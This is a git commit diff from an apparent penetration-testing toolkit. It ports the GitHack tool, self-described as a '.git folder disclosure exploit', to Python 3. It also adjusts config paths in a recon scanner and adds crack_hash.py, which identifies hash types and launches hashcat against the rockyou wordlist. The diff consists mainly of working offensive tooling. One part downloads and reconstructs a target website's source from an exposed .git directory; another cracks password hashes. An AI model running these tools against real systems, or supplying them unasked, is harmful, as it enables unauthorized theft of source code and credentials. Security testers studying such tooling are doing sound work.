GitHack 2 -> 3, crack hash, requirements

This commit is contained in:
Roman Hergenreder 2020-06-03 19:21:25 +02:00
parent 09f85c0e74
commit 4c265dc683
7 changed files with 262 additions and 72 deletions

@ -1,39 +1,26 @@
#!/usr/bin/env python #!/usr/bin/env python
# -*- encoding: utf-8 -*-
import sys from urllib.parse import urlparse
import urllib2
import os
import urlparse
import zlib
import threading import threading
import Queue import collections
import re import binascii
import requests
import struct
import queue
import time import time
import ssl import ssl
#!/usr/bin/env python
#
# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt
#
import binascii
import collections
import mmap
import struct
import sys import sys
import os
import re
def check(boolean, message): def check(boolean, message):
if not boolean: if not boolean:
import sys print("error: " + message)
print "error: " + message exit(1)
sys.exit(1)
def parse(filename, pretty=True): def parse(filename, pretty=True):
with open(filename, "rb") as o: with open(filename, "rb") as f:
f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ) # f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ)
def read(format): def read(format):
# "All binary numbers are in network byte order." # "All binary numbers are in network byte order."
@ -137,41 +124,30 @@ def parse(filename, pretty=True):
padlen = (8 - (entrylen % 8)) or 8 padlen = (8 - (entrylen % 8)) or 8
nuls = f.read(padlen) nuls = f.read(padlen)
check(set(nuls) == set(['\x00']), "padding contained non-NUL") check(set(nuls) == set([0]), "padding contained non-NUL")
yield entry yield entry
f.close() f.close()
context = ssl._create_unverified_context()
if len(sys.argv) == 1:
msg = """
A `.git` folder disclosure exploit. By LiJieJie
Usage: GitHack.py http://www.target.com/.git/
bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
"""
print msg
sys.exit(0)
class Scanner(object): class Scanner(object):
def __init__(self): def __init__(self):
self.base_url = sys.argv[-1] self.base_url = sys.argv[-1]
self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')
self.domain = urlparse(sys.argv[-1]).netloc.replace(':', '_')
if not os.path.exists(self.domain): if not os.path.exists(self.domain):
os.mkdir(self.domain) os.mkdir(self.domain)
print '[+] Download and parse index file ...'
print('[+] Download and parse index file ...')
data = self._request_data(sys.argv[-1] + '/index') data = self._request_data(sys.argv[-1] + '/index')
with open('index', 'wb') as f: with open('%s/index' % self.domain, 'wb') as f:
f.write(data) f.write(data)
self.queue = Queue.Queue() self.queue = queue.Queue()
for entry in parse('index'): for entry in parse('index'):
if "sha1" in entry.keys(): if "sha1" in entry.keys():
self.queue.put((entry["sha1"].strip(), entry["name"].strip())) self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
try: try:
print entry['name'] print(entry['name'])
except Exception as e: except Exception as e:
pass pass
self.lock = threading.Lock() self.lock = threading.Lock()
@ -180,45 +156,49 @@ class Scanner(object):
@staticmethod @staticmethod
def _request_data(url): def _request_data(url):
request = urllib2.Request(url, None, {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'}) print(url)
return urllib2.urlopen(request, context=context).read() res = requests.get(url, headers={'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
if res.status_code != 200:
raise Exception("Server returned: %d %s" % (res.status_code, res.reason))
return res.content
def _print(self, msg): def _print(self, msg):
self.lock.acquire() self.lock.acquire()
try: try:
print msg print(msg)
except Exception as e: except Exception as e:
pass pass
self.lock.release() self.lock.release()
def get_back_file(self): def get_back_file(self):
while not self.STOP_ME: while not self.STOP_ME:
try: try:
sha1, file_name = self.queue.get(timeout=0.5) sha1, file_name = self.queue.get(timeout=0.5)
except Exception as e: except Exception as e:
break break
for i in range(3):
try: try:
folder = '/objects/%s/' % sha1[:2] folder = '/objects/%s/' % sha1[:2]
data = self._request_data(self.base_url + folder + sha1[2:]) data = self._request_data(self.base_url + folder + sha1[2:])
try: try:
data = zlib.decompress(data) data = zlib.decompress(data)
except:
self._print('[Error] Fail to decompress %s' % file_name)
data = re.sub(r'blob \d+\00', '', data) data = re.sub(r'blob \d+\00', '', data)
except:
# self._print('[Error] Fail to decompress %s' % file_name)
pass
target_dir = os.path.join(self.domain, os.path.dirname(file_name)) target_dir = os.path.join(self.domain, os.path.dirname(file_name))
if target_dir and not os.path.exists(target_dir): if target_dir and not os.path.exists(target_dir):
os.makedirs(target_dir) os.makedirs(target_dir)
with open(os.path.join(self.domain, file_name), 'wb') as f: with open(os.path.join(self.domain, file_name), 'wb') as f:
f.write(data) f.write(data)
self._print('[OK] %s' % file_name) self._print('[OK] %s' % file_name)
break
except urllib2.HTTPError, e:
if str(e).find('HTTP Error 404') >= 0:
self._print('[File not found] %s' % file_name)
break
except Exception as e: except Exception as e:
self._print('[Error] %s' % str(e)) self._print('[Error] %s' % str(e))
self.exit_thread() self.exit_thread()
def exit_thread(self): def exit_thread(self):
@ -233,12 +213,24 @@ class Scanner(object):
if __name__ == '__main__': if __name__ == '__main__':
context = ssl._create_unverified_context()
if len(sys.argv) == 1:
msg = """
A `.git` folder disclosure exploit. By LiJieJie
Usage: GitHack.py http://www.target.com/.git/
bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
"""
print(msg)
exit()
s = Scanner() s = Scanner()
s.scan() s.scan()
try: try:
while s.thread_count > 0: while s.thread_count > 0:
time.sleep(0.1) time.sleep(0.1)
except KeyboardInterrupt, e: except KeyboardInterrupt as e:
s.STOP_ME = True s.STOP_ME = True
time.sleep(1.0) time.sleep(1.0)
print 'User Aborted.' print('User Aborted.')

@ -147,7 +147,7 @@ def calculate_elapsed_time(start_time):
return ', '.join(elapsed_time) return ', '.join(elapsed_time)
port_scan_profiles_config_file = 'port-scan-profiles.toml' port_scan_profiles_config_file = 'port-scan-profiles.toml'
with open(os.path.join(rootdir, 'config', port_scan_profiles_config_file), 'r') as p: with open(os.path.join(rootdir, 'autorecon_config', port_scan_profiles_config_file), 'r') as p:
try: try:
port_scan_profiles_config = toml.load(p) port_scan_profiles_config = toml.load(p)
@ -157,13 +157,13 @@ with open(os.path.join(rootdir, 'config', port_scan_profiles_config_file), 'r')
except toml.decoder.TomlDecodeError as e: except toml.decoder.TomlDecodeError as e:
fail('Error: Couldn\'t parse {port_scan_profiles_config_file} config file. Check syntax and duplicate tags.') fail('Error: Couldn\'t parse {port_scan_profiles_config_file} config file. Check syntax and duplicate tags.')
with open(os.path.join(rootdir, 'config', 'service-scans.toml'), 'r') as c: with open(os.path.join(rootdir, 'autorecon_config', 'service-scans.toml'), 'r') as c:
try: try:
service_scans_config = toml.load(c) service_scans_config = toml.load(c)
except toml.decoder.TomlDecodeError as e: except toml.decoder.TomlDecodeError as e:
fail('Error: Couldn\'t parse service-scans.toml config file. Check syntax and duplicate tags.') fail('Error: Couldn\'t parse service-scans.toml config file. Check syntax and duplicate tags.')
with open(os.path.join(rootdir, 'config', 'global-patterns.toml'), 'r') as p: with open(os.path.join(rootdir, 'autorecon_config', 'global-patterns.toml'), 'r') as p:
try: try:
global_patterns = toml.load(p) global_patterns = toml.load(p)
if 'pattern' in global_patterns: if 'pattern' in global_patterns:

192
crack_hash.py Normal file

@ -0,0 +1,192 @@
#!/usr/bin/env python
import sys
import requests
import subprocess
import enum
import re
import tempfile
import base64
import io
from bs4 import BeautifulSoup
HEX_PATTERN = re.compile("^[a-fA-F0-9]+$")
B64_PATTERN = re.compile("^[a-zA-Z0-9+/=]+$")
B64_URL_PATTERN = re.compile("^[a-zA-Z0-9=_-]+$")
class HashType(enum.Enum):
# MD5
RAW_MD4 = 900
RAW_MD5 = 0
MD5_PASS_SALT = 10
MD5_SALT_PASS = 20
# SHA1
RAW_SHA1 = 100
SHA1_PASS_SALT = 110
SHA1_SALT_PASS = 120
# SHA2
RAW_SHA2_224 = 1300
RAW_SHA2_256 = 1400
RAW_SHA2_384 = 10800
RAW_SHA2_512 = 1700
SHA512_PASS_SALT = 1710
SHA512_SALT_PASS = 1720
# SHA3
RAW_SHA3_224 = 17300
RAW_SHA3_256 = 17400
RAW_SHA3_384 = 17500
RAW_SHA3_512 = 17600
# Keccak
RAW_KECCAK_224 = 17700
RAW_KECCAK_256 = 17800
RAW_KECCAK_384 = 17900
RAW_KECCAK_512 = 18000
# Ripe-MD
RAW_RIPEMD_160 = 6000
# Crypt
CRYPT_MD5 = 500
CRYPT_BLOWFISH = 3200
CRYPT_SHA256 = 7400
CRYPT_SHA512 = 1800
CRYPT_APACHE = 1600
class Hash:
def __init__(self, hash):
self.hash = hash
self.salt = None
self.isSalted = False
self.type = []
self.cracked = None
self.findType()
def findType(self):
raw_hash = self.hash
if raw_hash[0] == "$":
crypt_parts = list(filter(None, raw_hash.split("$")))
crypt_type = crypt_parts[0]
self.isSalted = len(crypt_parts) > 2
if crypt_type == "1":
self.type.append(HashType.CRYPT_MD5)
elif crypt_type.startswith("2"):
self.type.append(HashType.CRYPT_BLOWFISH)
elif crypt_type == "5":
self.type.append(HashType.CRYPT_SHA256)
elif crypt_type == "6":
self.type.append(HashType.CRYPT_SHA512)
elif crypt_type == "apr1":
self.type.append(HashType.CRYPT_APACHE)
else:
self.isSalted = ":" in raw_hash
if self.isSalted:
raw_hash, self.salt = raw_hash.split(":")
# Base64 -> hex
try:
if not HEX_PATTERN.match(raw_hash):
if B64_URL_PATTERN.match(raw_hash):
raw_hash = raw_hash.replace("-","+").replace("_","/")
if B64_PATTERN.match(raw_hash):
raw_hash = base64.b64decode(raw_hash.encode("UTF-8")).decode("UTF-8").hex()
if self.isSalted:
self.hash = raw_hash + ":" + self.salt
else:
self.hash = raw_hash
except:
pass
if HEX_PATTERN.match(raw_hash):
hash_len = len(raw_hash)
if hash_len == 32:
if self.isSalted:
self.type.append(HashType.MD5_PASS_SALT)
self.type.append(HashType.MD5_SALT_PASS)
else:
self.type.append(HashType.RAW_MD5)
self.type.append(HashType.RAW_MD4)
elif hash_len == 40:
if self.isSalted:
self.type.append(HashType.SHA1_PASS_SALT)
self.type.append(HashType.SHA1_SALT_PASS)
else:
self.type.append(HashType.RAW_SHA1)
self.type.append(HashType.RAW_MD4)
self.type.append(HashType.RAW_RIPEMD_160)
elif hash_len == 96:
if not self.isSalted:
self.type.append(HashType.RAW_SHA2_384)
self.type.append(HashType.RAW_SHA3_384)
self.type.append(HashType.RAW_KECCAK_384)
elif hash_len == 128:
if self.isSalted:
self.type.append(HashType.SHA512_PASS_SALT)
self.type.append(HashType.SHA512_SALT_PASS)
else:
self.type.append(HashType.RAW_SHA2_512)
self.type.append(HashType.RAW_SHA3_512)
self.type.append(HashType.RAW_KECCAK_256)
if len(self.type) == 0:
print("%s: Unknown hash" % self.hash)
if len(sys.argv) < 2:
print("Usage: %s <file>" % sys.argv[0])
exit(1)
hashes = [Hash(x) for x in filter(None, [line.strip() for line in open(sys.argv[1],"r").readlines()])]
uncracked_hashes = { }
for hash in hashes:
if hash.type:
for t in hash.type:
if t not in uncracked_hashes:
uncracked_hashes[t] = []
uncracked_hashes[t].append(hash)
if len(uncracked_hashes) > 0:
uncracked_types = list(uncracked_hashes.keys())
num_types = len(uncracked_types)
if num_types > 0:
print("There are multiple uncracked hashes left with different hash types, choose one to proceed with hashcat:")
print()
i = 0
for t,lst in uncracked_hashes.items():
print("%d.\t%s:\t%d hashe(s)" % (i, str(t)[len("HashType."):], len(lst)))
i += 1
# Ask user…
selected = None
while selected is None or selected < 0 or selected >= num_types:
try:
selected = int(input("Your Choice: ").strip())
if selected >= 0 and selected < num_types:
break
except Exception as e:
if type(e) in [EOFError, KeyboardInterrupt]:
print()
exit()
print("Invalid input")
selected_type = uncracked_types[selected]
else:
selected_type = uncracked_types[0]
fp = tempfile.NamedTemporaryFile()
for hash in uncracked_hashes[selected_type]:
fp.write(b"%s\n" % hash.hash.encode("UTF-8"))
fp.flush()
proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, "/usr/share/wordlists/rockyou.txt", "--force"])
proc.wait()
fp.close()

6
requirements.txt Normal file

@ -0,0 +1,6 @@
netifaces==0.10.9
colorama==0.4.3
requests==2.23.0
toml==0.10.0
paramiko==2.7.1
beautifulsoup4==4.9.1